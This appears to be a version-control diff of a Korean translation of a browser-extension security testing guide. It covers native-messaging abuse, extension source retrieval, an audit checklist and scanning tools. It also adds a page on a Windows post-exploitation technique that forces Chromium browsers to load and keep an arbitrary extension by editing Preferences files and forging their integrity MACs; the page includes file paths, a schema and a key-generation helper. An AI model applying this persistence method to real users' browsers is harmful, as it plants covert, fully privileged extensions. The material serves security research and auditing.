Chrome/Chromium은 이 json을 일부 windows registry와 macOS 및 Linux의 특정 경로에서 검색합니다 (자세한 내용은 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
|
||||
> [!TIP]
|
||||
> 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한을 선언해야 합니다.
|
||||
> 브라우저 확장도 이 통신을 사용하려면 `nativeMessaing` 권한을 선언해야 합니다.
|
||||
|
||||
다음은 네이티브 애플리케이션에 메시지를 보내는 백그라운드 스크립트 코드의 예입니다:
|
||||
아래는 백그라운드 스크립트가 네이티브 애플리케이션으로 메시지를 보내는 코드 예시입니다:
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -557,144 +615,152 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
[**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)에서는 네이티브 메시지를 악용하는 취약한 패턴이 제안됩니다:
|
||||
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), native messages를 악용하는 취약한 패턴이 제안되었습니다:
|
||||
|
||||
1. 브라우저 확장 프로그램은 콘텐츠 스크립트에 대한 와일드카드 패턴을 가지고 있습니다.
|
||||
2. 콘텐츠 스크립트는 `sendMessage`를 사용하여 백그라운드 스크립트에 `postMessage` 메시지를 전달합니다.
|
||||
3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다.
|
||||
4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다.
|
||||
1. 브라우저 확장 프로그램은 content script에 대해 와일드카드 패턴을 가집니다.
|
||||
2. Content script는 `postMessage` 메시지를 `sendMessage`를 사용해 background script로 전달합니다.
|
||||
3. Background script는 메시지를 `sendNativeMessage`를 사용해 native application으로 전달합니다.
|
||||
4. Native application이 메시지를 위험하게 처리하여 code execution으로 이어집니다.
|
||||
|
||||
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예제가 설명됩니다**.
|
||||
그리고 그 안에는 **임의의 페이지에서 브라우저 확장 기능을 악용해 RCE로 가는 예시**가 설명되어 있습니다.
|
||||
|
||||
## 메모리/코드/클립보드의 민감한 정보
|
||||
## Sensitive Information in Memory/Code/Clipboard
|
||||
|
||||
브라우저 확장 프로그램이 **민감한 정보를 메모리 안에 저장**하는 경우, 이는 **덤프**될 수 있으며(특히 Windows 기기에서) 이 정보를 **검색**할 수 있습니다.
|
||||
브라우저 확장 프로그램이 **민감한 정보를 메모리에 저장**하는 경우, 이는 (특히 Windows 머신에서) **덤프**되어 해당 정보를 **검색**당할 수 있습니다.
|
||||
|
||||
따라서 브라우저 확장 프로그램의 메모리는 **안전하다고 간주되어서는 안 되며**, 자격 증명이나 니모닉 구문과 같은 **민감한 정보는 저장되어서는 안 됩니다**.
|
||||
따라서 브라우저 확장 프로그램의 메모리는 **안전하다고 간주해서는 안 되며**, 자격 증명이나 mnemonic phrases 같은 **민감한 정보는 저장해서는 안 됩니다**.
|
||||
|
||||
물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 이는 **공개**될 것이기 때문입니다.
|
||||
물론, 코드에 민감한 정보를 넣지 마세요. 코드에 들어가면 **공개**됩니다.
|
||||
|
||||
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`** 클릭 -> **`Memory`** 섹션 -> **`Take a snapshot`** 클릭 후 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
|
||||
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장 설정으로 가서 **`Inspect pop-up`** -> **`Memory`** 섹션 -> **`Take a snaphost`** 하고 **`CTRL+F`** 로 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
|
||||
|
||||
게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다.
|
||||
또한 mnemonic keys나 passwords처럼 매우 민감한 정보는 클립보드에 복사되지 않도록 해야 합니다(최소한 몇 초 내에 클립보드에서 제거). 그렇지 않으면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있습니다.
|
||||
|
||||
## 브라우저에 확장 프로그램 로드하기
|
||||
## Loading an Extension in the Browser
|
||||
|
||||
1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다.
|
||||
2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다.
|
||||
3. **`Load unpacked`** 버튼을 클릭합니다.
|
||||
1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다
|
||||
2. **`chrome://extensions/`** 로 가서 `Developer Mode`를 **활성화**합니다
|
||||
3. **`Load unpacked`** 버튼을 클릭합니다
|
||||
|
||||
**Firefox**에서는 **`about:debugging#/runtime/this-firefox`**로 가서 **`Load Temporary Add-on`** 버튼을 클릭합니다.
|
||||
**Firefox**에서는 **`about:debugging#/runtime/this-firefox`** 로 가서 **`Load Temporary Add-on`** 버튼을 클릭합니다.
|
||||
|
||||
## 스토어에서 소스 코드 가져오기
|
||||
## Getting the source code from the store
|
||||
|
||||
Chrome 확장의 소스 코드는 다양한 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
|
||||
Chrome 확장 프로그램의 소스 코드는 여러 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
|
||||
|
||||
### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드
|
||||
### Download Extension as ZIP via Command Line
|
||||
|
||||
Chrome 확장의 소스 코드는 명령줄을 사용하여 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용하여 특정 URL에서 ZIP 파일을 가져오고, ZIP 파일의 내용을 디렉토리에 추출하는 과정을 포함합니다. 단계는 다음과 같습니다:
|
||||
Chrome 확장 프로그램의 소스 코드는 커맨드 라인을 사용해 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용해 특정 URL에서 ZIP 파일을 가져오고 ZIP 파일의 내용을 디렉터리로 추출하는 과정을 포함합니다. 절차는 다음과 같습니다:
|
||||
|
||||
1. `"extension_id"`를 확장의 실제 ID로 교체합니다.
|
||||
2. 다음 명령을 실행합니다:
|
||||
1. 실제 확장 프로그램 ID로 `"extension_id"`를 교체합니다.
|
||||
2. 다음 명령어들을 실행합니다:
|
||||
```bash
|
||||
extension_id=your_extension_id # Replace with the actual extension ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
```
|
||||
### CRX 뷰어 웹사이트 사용
|
||||
### CRX Viewer 웹사이트 사용
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
||||
### CRX 뷰어 확장 프로그램 사용
|
||||
### CRX Viewer extension 사용
|
||||
|
||||
또 다른 편리한 방법은 오픈 소스 프로젝트인 Chrome Extension Source Viewer를 사용하는 것입니다. [Chrome 웹 스토어](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)에서 설치할 수 있습니다. 뷰어의 소스 코드는 [GitHub 리포지토리](https://github.com/Rob--W/crxviewer)에서 확인할 수 있습니다.
|
||||
다른 편리한 방법으로는 오픈소스 프로젝트인 Chrome Extension Source Viewer를 사용하는 것입니다. 이 확장 프로그램은 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)에서 설치할 수 있습니다. 뷰어의 소스 코드는 해당 [GitHub repository](https://github.com/Rob--W/crxviewer)에서 확인할 수 있습니다.
|
||||
|
||||
### 로컬에 설치된 확장 프로그램의 소스 보기
|
||||
### 로컬에 설치된 확장 프로그램 소스 보기
|
||||
|
||||
로컬에 설치된 Chrome 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다:
|
||||
Chrome에 로컬로 설치된 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다:
|
||||
|
||||
1. `chrome://version/`를 방문하여 "Profile Path" 필드를 찾아 Chrome 로컬 프로필 디렉토리에 접근합니다.
|
||||
2. 프로필 디렉토리 내의 `Extensions/` 하위 폴더로 이동합니다.
|
||||
3. 이 폴더에는 모든 설치된 확장 프로그램이 포함되어 있으며, 일반적으로 읽기 가능한 형식의 소스 코드가 있습니다.
|
||||
1. `chrome://version/`를 방문하여 로컬 Chrome 프로필 디렉터리에 접근하고 "Profile Path" 필드를 찾습니다.
|
||||
2. 프로필 디렉터리 내의 `Extensions/` 하위 폴더로 이동합니다.
|
||||
3. 이 폴더에는 설치된 모든 확장 프로그램이 포함되어 있으며, 일반적으로 소스 코드를 읽을 수 있는 형식으로 확인할 수 있습니다.
|
||||
|
||||
확장 프로그램을 식별하려면 ID를 이름에 매핑할 수 있습니다:
|
||||
확장 프로그램을 식별하려면 ID와 이름을 매핑할 수 있습니다:
|
||||
|
||||
- `about:extensions` 페이지에서 개발자 모드를 활성화하여 각 확장 프로그램의 ID를 확인합니다.
|
||||
- 각 확장 프로그램의 폴더 내에서 `manifest.json` 파일에는 읽기 가능한 `name` 필드가 포함되어 있어 확장 프로그램을 식별하는 데 도움이 됩니다.
|
||||
- `about:extensions` 페이지에서 Developer Mode를 활성화하면 각 확장 프로그램의 ID를 확인할 수 있습니다.
|
||||
- 각 확장 프로그램 폴더 내의 `manifest.json` 파일에는 읽을 수 있는 `name` 필드가 있어 확장 프로그램을 식별하는 데 도움이 됩니다.
|
||||
|
||||
### 파일 압축 해제기 또는 언팩커 사용
|
||||
### 파일 아카이버 또는 언패커 사용
|
||||
|
||||
Chrome 웹 스토어에 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다.
|
||||
Chrome Web Store에서 확장 프로그램을 다운로드하면 파일 확장자가 `.crx`입니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경한 후, WinRAR, 7-Zip 등과 같은 파일 아카이버로 ZIP 파일의 내용을 추출하면 됩니다.
|
||||
|
||||
### Chrome에서 개발자 모드 사용
|
||||
### Chrome에서 Developer Mode 사용
|
||||
|
||||
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "개발자 모드"를 활성화합니다. "압축 해제된 확장 프로그램 로드..."를 클릭합니다. 확장 프로그램의 디렉토리로 이동합니다. 이는 소스 코드를 다운로드하지 않지만, 이미 다운로드되었거나 개발된 확장 프로그램의 코드를 보고 수정하는 데 유용합니다.
|
||||
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "Developer mode"를 활성화합니다. "Load unpacked extension..."을 클릭하고 확장 프로그램의 디렉터리로 이동합니다. 이 방법은 소스 코드를 다운로드하지는 않지만, 이미 다운로드하거나 개발 중인 확장 프로그램의 코드를 보고 수정하는 데 유용합니다.
|
||||
|
||||
## Chrome 확장 프로그램 매니페스트 데이터셋
|
||||
## Chrome extension manifest dataset
|
||||
|
||||
취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용할 수 있으며, 그들의 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면:
|
||||
취약한 브라우저 확장 프로그램을 찾아보려면 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하여 manifest 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 사용자 수가 25000명 이상이고 `content_scripts`가 있으며 권한 `nativeMessaing`이 있는 확장 프로그램을 찾으려면:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
## Post-exploitation: Forced extension load & persistence (Windows)
|
||||
|
||||
사용자별 Preferences를 직접 편집하고 유효한 HMACs를 위조해 Chromium에 백도어를 심는 은밀한 기법으로, 브라우저가 prompts나 flags 없이 임의의 unpacked extension을 수락하고 활성화하게 만듭니다.
|
||||
|
||||
{{#ref}}
|
||||
forced-extension-load-preferences-mac-forgery-windows.md
|
||||
{{#endref}}
|
||||
|
||||
## 보안 감사 체크리스트
|
||||
|
||||
브라우저 확장 프로그램은 **제한된 공격 표면**을 가지고 있지만, 일부는 **취약점**이나 **잠재적인 강화 개선**을 포함할 수 있습니다. 다음은 가장 일반적인 항목입니다:
|
||||
브라우저 확장(extensions)은 **공격 표면이 제한적**이지만, 일부는 **취약점**이나 **하드닝 개선 여지**를 포함할 수 있습니다. 다음 항목들은 가장 흔한 항목들입니다:
|
||||
|
||||
- [ ] 요청된 **`permissions`**를 가능한 한 많이 **제한**합니다.
|
||||
- [ ] **`host_permissions`**를 가능한 한 많이 **제한**합니다.
|
||||
- [ ] **강력한** **`content_security_policy`**를 사용합니다.
|
||||
- [ ] 필요하지 않다면 **`externally_connectable`**를 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**를 지정합니다.
|
||||
- [ ] 여기에서 **XSS 또는 인수 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
|
||||
- [ ] **`web_accessible_resources`**를 가능한 한 많이 **제한**합니다. 가능하다면 비워두세요.
|
||||
- [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다.
|
||||
- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, 통신에서 발생한 [**XSS**](browext-xss-example.md) **취약점**을 확인합니다.
|
||||
- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/index.html)**을 확인합니다.**
|
||||
- [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 때 **XSS를 도입하지 않는지** 확인합니다.
|
||||
- [ ] 이 통신이 **Content Script -> Background script 통신**에도 관련되어 있다면 특별히 강조합니다.
|
||||
- [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다.
|
||||
- [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되어서는 안 됩니다.
|
||||
- [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되어서는 안 됩니다.
|
||||
- [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되어서는 안 됩니다.**
|
||||
- [ ] 요청된 **`permissions`**을 가능한 한 **제한**하세요
|
||||
- [ ] **`host_permissions`**을 가능한 한 **제한**하세요
|
||||
- [ ] **강력한** **`content_security_policy`**를 사용하세요
|
||||
- [ ] **`externally_connectable`**을 가능한 한 **제한**하세요. 필요 없고 가능하다면 기본값으로 두지 말고 **`{}`**로 지정하세요
|
||||
- [ ] 여기서 **URL vulnerable to XSS or to takeover**가 언급되면, 공격자는 **send messages to the background scripts directly**할 수 있습니다. 매우 강력한 우회 방법입니다.
|
||||
- [ ] **`web_accessible_resources`**를 가능한 한 **제한**하세요. 가능하면 비워두세요.
|
||||
- [ ] **`web_accessible_resources`**가 none이 아닌 경우, [**ClickJacking**](browext-clickjacking.md)을 확인하세요
|
||||
- [ ] extension에서 web page로 어떤 **communication**이 발생하면, 그 통신으로 인해 발생할 수 있는 [**XSS**](browext-xss-example.md) **vulnerabilities**를 확인하세요.
|
||||
- [ ] Post Messages가 사용되는 경우, [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)를 확인하세요.
|
||||
- [ ] **Content Script**가 DOM 세부사항에 접근하는 경우, 웹에 의해 수정되면 **XSS를 유발하지 않는지** 확인하세요
|
||||
- [ ] 이 통신이 **Content Script -> Background script communication**에 관여한다면 특히 주의하세요
|
||||
- [ ] background script가 **native messaging**을 통해 통신하는 경우, 통신이 안전하고 입력이 정제(sanitized)되었는지 확인하세요
|
||||
- [ ] 민감한 정보는 Browser Extension 코드 내부에 저장되어서는 안 됩니다
|
||||
- [ ] 민감한 정보는 Browser Extension 메모리 내부에 저장되어서는 안 됩니다
|
||||
- [ ] 민감한 정보는 보호되지 않은 파일 시스템에 저장되어서는 안 됩니다
|
||||
|
||||
## 브라우저 확장 프로그램 위험
|
||||
## Browser Extension Risks
|
||||
|
||||
- 앱 [https://crxaminer.tech/](https://crxaminer.tech/)는 브라우저 확장 프로그램이 요청하는 권한과 같은 데이터를 분석하여 브라우저 확장 프로그램 사용의 위험 수준을 제공합니다.
|
||||
- 앱 [https://crxaminer.tech/](https://crxaminer.tech/)은 확장(extension)이 요청하는 permissions 같은 일부 데이터를 분석하여 확장 사용의 위험도를 제공합니다.
|
||||
|
||||
## 도구
|
||||
## Tools
|
||||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
- 제공된 Chrome 웹스토어 링크에서 Chrome 확장을 가져옵니다.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 보기 버전을 간단히 표시합니다.
|
||||
- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성.
|
||||
- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지 감지. 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
|
||||
- **권한 경고 뷰어**: 사용자가 확장을 설치하려고 할 때 표시될 Chrome 권한 프롬프트 경고 목록을 보여줍니다.
|
||||
- **위험한 함수**: 공격자가 잠재적으로 악용할 수 있는 위험한 함수의 위치를 보여줍니다(예: innerHTML, chrome.tabs.executeScript와 같은 함수).
|
||||
- **진입점**: 확장이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장의 표면적을 이해하고 악의적으로 조작된 데이터를 확장으로 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다.
|
||||
- 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 포함합니다:
|
||||
- 경고를 유발한 관련 코드 스니펫 및 라인.
|
||||
- 문제 설명.
|
||||
- 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼.
|
||||
- 경고된 파일의 경로.
|
||||
- 경고된 파일의 전체 Chrome 확장 URI.
|
||||
- 파일 유형(예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등).
|
||||
- 취약한 라인이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태.
|
||||
- **콘텐츠 보안 정책(CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝힙니다.
|
||||
- **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다.
|
||||
- 확장 및 포맷된 버전 다운로드.
|
||||
- 원본 확장 다운로드.
|
||||
- 확장의 아름답게 정리된 버전 다운로드(자동으로 예쁘게 정리된 HTML 및 JavaScript).
|
||||
- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다.
|
||||
- 링크 가능한 보고서 URL, 다른 사람에게 tarnish가 생성한 확장 보고서에 쉽게 링크할 수 있습니다.
|
||||
- 제공된 Chrome webstore 링크에서 Chrome extension을 가져옵니다.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: 확장의 manifest를 JSON 형식으로 보기 좋게 표시합니다.
|
||||
- **Fingerprint Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)를 탐지하고 Chrome extension fingerprinting JavaScript를 자동 생성합니다.
|
||||
- **Potential Clickjacking Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시자가 설정된 extension HTML 페이지를 탐지합니다. 이 페이지들은 목적에 따라 Clickjacking에 취약할 수 있습니다.
|
||||
- **Permission Warning(s) viewer**: 사용자가 확장을 설치하려 할 때 표시될 모든 Chrome permission prompt 경고 목록을 보여줍니다.
|
||||
- **Dangerous Function(s)**: 공격자가 악용할 수 있는 위험한 함수들의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript).
|
||||
- **Entry Point(s)**: 확장이 사용자/외부 입력을 받는 지점을 보여줍니다. 이는 확장의 공격 표면을 이해하고 악의적으로 조작된 데이터를 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다.
|
||||
- Dangerous Function(s)와 Entry Point(s) 스캐너는 생성된 경고에 대해 다음 정보를 제공합니다:
|
||||
- 경고를 유발한 관련 코드 스니펫과 라인
|
||||
- 이슈 설명
|
||||
- 전체 소스 파일을 보도록 하는 “View File” 버튼
|
||||
- 경고가 발생한 파일의 경로
|
||||
- 경고 파일의 전체 Chrome extension URI
|
||||
- Background Page script, Content Script, Browser Action 등 파일 유형
|
||||
- 취약한 라인이 JavaScript 파일에 있다면, 해당 파일이 포함된 모든 페이지의 경로와 그 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태
|
||||
- **Content Security Policy (CSP) analyzer and bypass checker**: 확장의 CSP의 약점을 지적하고, 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝힙니다.
|
||||
- **Known Vulnerable Libraries**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용해 알려진 취약 JavaScript 라이브러리 사용 여부를 검사합니다.
|
||||
- 확장 및 포맷된 버전 다운로드
|
||||
- 원본 확장 다운로드
|
||||
- 보기 좋게 정리된 버전(자동으로 prettified된 HTML 및 JavaScript 포함) 다운로드
|
||||
- 스캔 결과 자동 캐싱: 확장 스캔은 처음 실행 시 시간이 많이 걸릴 수 있지만, 확장이 업데이트되지 않았다면 두 번째 실행부터는 캐시된 결과로 거의 즉시 실행됩니다.
|
||||
- 링크 가능한 리포트 URL: tarnish가 생성한 확장 리포트에 쉽게 링크를 공유할 수 있습니다.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 풀어내기 위해 고안된 Python 3 패키지입니다. `manifest.json`, 로컬화 폴더 또는 JavaScript 및 HTML 소스 파일과 같은 관련 리소스에서 이러한 기능을 추출하기 위해 패키지 파일을 자동으로 압축 해제하는 프로세스를 자동화합니다.
|
||||
Project Neto는 Firefox와 Chrome 같은 잘 알려진 브라우저용 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 드러내기 위해 고안된 Python 3 패키지입니다. 패키지된 파일을 자동으로 압축 해제하여 `manifest.json`, localization 폴더, 또는 Javascript와 HTML 소스 파일 같은 확장의 관련 리소스에서 이러한 기능을 추출합니다.
|
||||
|
||||
## 참고 문헌
|
||||
## References
|
||||
|
||||
- **이 방법론에 대한 도움을 주신** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다.**
|
||||
- **이 방법론에 도움을 준** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다**
|
||||
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||
|
@ -0,0 +1,206 @@
|
||||
# Forced Extension Load & Preferences MAC Forgery (Windows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
Windows에서 Chromium 기반 브라우저의 사용자의 Preferences/Secure Preferences 파일을 편집하고 수정된 노드에 대해 유효한 HMACs를 위조하여 임의의 extension을 강제로 로드하는 stealthy post-exploitation technique. Chrome/Chromium, Edge, Brave에서 동작함. 게시 시점에 Chromium 130부터 139까지에서 적용되는 것으로 관찰됨. 피해자 프로필에 대한 단순한 disk write primitive만 있으면 command-line flags나 user prompts 없이 full-privileged extension을 영구화할 수 있음.
|
||||
|
||||
> Key idea: Chromium은 사용자별 extension 상태를 JSON preferences 파일에 저장하고 HMAC-SHA256으로 보호한다. 브라우저에 내장된 seed로 유효한 MACs를 계산해 주입한 노드 옆에 기록하면 브라우저는 이를 수락하고 extension 항목을 활성화한다.
|
||||
|
||||
|
||||
## Where extension state lives (Windows)
|
||||
|
||||
- Non–domain‑joined Chrome profile:
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
|
||||
- Domain‑joined Chrome profile:
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
|
||||
- Key nodes used by Chromium:
|
||||
- extensions.settings.<extension_id> → extension 항목의 embedded manifest/metadata
|
||||
- protection.macs.extensions.settings.<extension_id> → 해당 JSON blob의 HMAC
|
||||
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
|
||||
|
||||
Simplified schema (illustrative):
|
||||
```json
|
||||
{
|
||||
"extensions": {
|
||||
"settings": {
|
||||
"<extension_id>": {
|
||||
"name": "Extension name",
|
||||
"manifest_version": 3,
|
||||
"version": "1.0",
|
||||
"key": "<BASE64 DER SPKI>",
|
||||
"path": "<absolute path if unpacked>",
|
||||
"state": 1,
|
||||
"from_bookmark": false,
|
||||
"was_installed_by_default": false
|
||||
// ...rest of manifest.json + required install metadata
|
||||
}
|
||||
},
|
||||
"ui": { "developer_mode": true }
|
||||
},
|
||||
"protection": {
|
||||
"macs": {
|
||||
"extensions": {
|
||||
"settings": { "<extension_id>": "<MAC>" },
|
||||
"ui": { "developer_mode": "<MAC>" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
참고:
|
||||
- Edge/Brave도 유사한 구조를 유지합니다. protection seed 값은 달라질 수 있습니다(일부 빌드에서는 Edge/Brave가 null/other seed를 사용하는 것으로 관찰됨).
|
||||
|
||||
|
||||
## Extension IDs: path vs key 및 결정론적으로 만들기
|
||||
|
||||
Chromium은 확장 프로그램 ID를 다음과 같이 도출합니다:
|
||||
- 패키지된/서명된 확장: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
|
||||
- 압축 해제된(manifest에 key 없음): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
|
||||
|
||||
호스트 간에 안정적인 ID를 유지하려면, manifest.json의 "key" 아래에 고정된 base64 DER public key를 삽입하세요. ID는 설치 경로 대신 이 key에서 파생됩니다.
|
||||
|
||||
결정론적 ID와 키 쌍을 생성하는 헬퍼:
|
||||
```python
|
||||
import base64
|
||||
import hashlib
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||
|
||||
def translate_crx_id(s: str) -> str:
|
||||
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
|
||||
return ''.join(t.get(c, c) for c in s)
|
||||
|
||||
def generate_extension_keys() -> tuple[str,str,str]:
|
||||
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||
pub = priv.public_key()
|
||||
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo)
|
||||
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
|
||||
pub_b64 = base64.b64encode(spki).decode('utf-8')
|
||||
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption())
|
||||
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
|
||||
return crx_id, pub_b64, priv_b64
|
||||
|
||||
print(generate_extension_keys())
|
||||
```
|
||||
생성된 공개 키를 manifest.json에 추가하여 ID를 고정하세요:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "Synacktiv extension",
|
||||
"version": "1.0",
|
||||
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
|
||||
}
|
||||
```
|
||||
## Forging Preferences integrity MACs (core bypass)
|
||||
|
||||
